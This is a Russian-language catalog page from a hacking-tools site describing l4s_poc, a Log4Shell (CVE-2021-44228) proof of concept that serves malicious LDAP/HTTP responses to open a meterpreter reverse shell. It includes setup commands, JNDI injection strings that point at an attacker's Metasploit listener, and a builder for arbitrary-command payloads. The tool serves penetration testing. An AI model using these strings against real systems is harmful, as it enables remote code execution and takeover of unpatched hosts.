Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
l4s_poc — Log4Shell (Cve-2021-44228) — доказательство концепции | Kitploit
Инструменты/GitHubGitHub/s-retlaw/l4s_poc
Фреймворки для эксплойтовАнализ уязвимостейЭксплуатацияТестирование на ПроникновениеКомандование и УправлениеРазработка Полезной Нагрузки
GitHubs-retlaw/l4s_poc

l4s_poc

Log4Shell (Cve-2021-44228) — доказательство концепции

Репозиторий
3 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

l4s_poc

Log4Shell (Cve-2021-44228) — доказательство концепции

Это личный проект, который запускает простой POC: он поднимает LDAP-сервер и HTTP-сервер для эксплуатации Log4Shell.

Сервер

Скрипт run_servers.py настроит урезанный meterpreter-клиент, который установит обратное соединение с экземпляром Metasploit, переданным в LDAP-запросе. Это запустит экземпляр meterpreter в потоке исходного процесса, затронутого эксплуатацией Log4Shell.

LDAP-сервер написан на Java, а HTTP-сервер реализован на Python и раздаёт файлы из вновь созданной директории wwwroot. Для сборки эксплойтов и запуска LDAP-сервера требуются java, javac и mvn. Я использовал Java 8.

Также требуется Python3.

Чтобы начать

запустите: python3 run_servers.py <your_ip_address> <the_http_port> [ldap_port]

Затем передайте jndi-строку уязвимому клиенту для логирования, например: если ваш хост — 10.20.30.40, а ваш экземпляр Metasploit — 20.30.40.50, слушающий порт 4444, это выглядело бы так: '${jndi:ldap://10.20.30.40:1389/#MM:20.30.40.50:4444}'

Создание исполняемых команд

Вы можете создавать классы, которые будут запускать исполняемые файлы в исходной системе. Вы можете задавать разные команды для систем на базе Windows или Linux. Например, чтобы создать класс TestCmd, который запускает калькулятор в Windows и Firefox в Linux, выполните: python3 build_cmd.py TestCmd -w "Calc.exe" -l "firefox"

Вы можете иметь несколько предварительно собранных классов. Если не указать команду для целевой ОС, ничего не выполняется. Обратите внимание, что эти команды выполняются как CMD \c "your command" в Windows и /bin/sh -c "your command" в Linux.

Чтобы запустить указанную выше команду, используйте имя созданного класса, например: '${jndi:ldap://10.20.30.40:1389/#TestCmd'

Файл Payload.java — это полный Meterpreter-файл, настроенный для запуска в виде потока в вызывающем процессе, затронутом проблемой log4shell. Его необходимо вручную скомпилировать и переместить в каталог wwwroot. Кроме того, вам нужно настроить файл metasploit.dat с необходимыми свойствами.

Клиенты

В каталоге clients есть два клиента, которые можно запустить. Первый — простая программа командной строки, которая записывает в журнал ошибок всё, что передано в качестве первого параметра.

Второй — простой веб-сервер, который записывает в журнал ошибок информацию из заголовка log_me. Обратите внимание, что запускать его следует в изолированной контролируемой среде.

Чтобы собрать клиентов:

перейдите в каталог clients и выполните ./build_clients.sh

Чтобы запустить веб-сервер:

из каталога clients выполните: java -cp target/l4sclients-1.0-SNAPSHOT-all.jar Log4jWebServer [Port_number]

Чтобы запустить клиент командной строки:

из каталога clients выполните: java -cp target/l4sclients-1.0-SNAPSHOT-all.jar Log4jCmdLine '${jndi:ldap://127.0.0.1:1389/#MM:127.0.0.1:4444}'

Скачать инструмент